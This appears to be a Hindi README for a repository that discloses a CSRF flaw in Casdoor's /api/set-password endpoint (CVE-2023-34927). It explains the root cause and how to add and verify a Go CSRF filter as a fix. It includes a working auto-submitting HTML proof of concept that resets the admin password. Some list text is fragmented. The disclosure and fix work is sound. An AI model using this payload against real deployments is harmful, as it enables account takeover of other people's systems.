
Casdoor के `/api/set-password` एंडपॉइंट (CVE-2023-34927) के लिए प्रूफ-ऑफ-कॉन्सेप्ट CSRF शोषण, जो क्रॉस-साइट POST अनुरोधों के माध्यम से अनधिकृत पासवर्ड परिवर्तन सक्षम करता है। इसमें Go-आधारित CSRF फ़िल्टर फिक्स शामिल है।
सारांश
/api/set-password में CSRF, जिससे सहमति के बिना पासवर्ड बदला जा सकता है।प्रभाव
built-in/admin), जिससे अकाउंट टेकओवर हो सकता है।हमले की पूर्वापेक्षाएँ
casdoor_session_id कुकी है।/api/set-password पर एक POST सबमिट करता है।प्रूफ ऑफ कॉन्सेप्ट
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
मूल कारण
/api/* के अंतर्गत स्टेट-चेंजिंग एंडपॉइंट्स कुकी-प्रमाणित अनुरोधों को स्वीकार करते हैं, बिना same-origin जाँच (Origin/Referer) या CSRF टोकन लागू किए।फिक्स अवलोकन
/api/* के अंतर्गत क्रॉस-साइट, कुकी-आधारित POST/PUT/DELETE/PATCH अनुरोधों को अस्वीकार करने के लिए एक सर्वर-साइड CSRF फ़िल्टर जोड़ें।Authorization, Basic auth, client credentials, या accessToken) ले जाते हैं या जिनमें ब्राउज़र सेशन कुकीज़ नहीं हैं (विशिष्ट सर्वर-टू-सर्वर कॉल)।कार्यान्वयन
csrf_filter.go में कार्यान्वित routers.CSRFFilter का उपयोग करें। यह फ़िल्टर:
Casdoor में कैसे एकीकृत करें
csrf_filter.go को Casdoor प्रोजेक्ट के मौजूदा routers पैकेज में कॉपी करें। इस फ़ाइल में कुछ भी संशोधित या हटाएँ नहीं।main के अंदर):
// Beego v1 style
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
सत्यापन
Unauthorized operation के साथ अस्वीकार किया जाना चाहिए और सर्वर को CSRF check failed लॉग करना चाहिए।Authorization हेडर या accessToken पैरामीटर शामिल हैं, उन्हें काम करना जारी रखना चाहिए।रिपॉज़िटरी फ़ाइलें
csrf_filter.go: Casdoor के routers पैकेज में कॉपी करने के लिए CSRF फ़िल्टर।poc.html: CSRF हमले को पुन: उत्पन्न करने वाला न्यूनतम पृष्ठ।README.md: यह दस्तावेज़ जो भेद्यता और फिक्स चरणों का वर्णन करता है।संदर्भ
वीडियो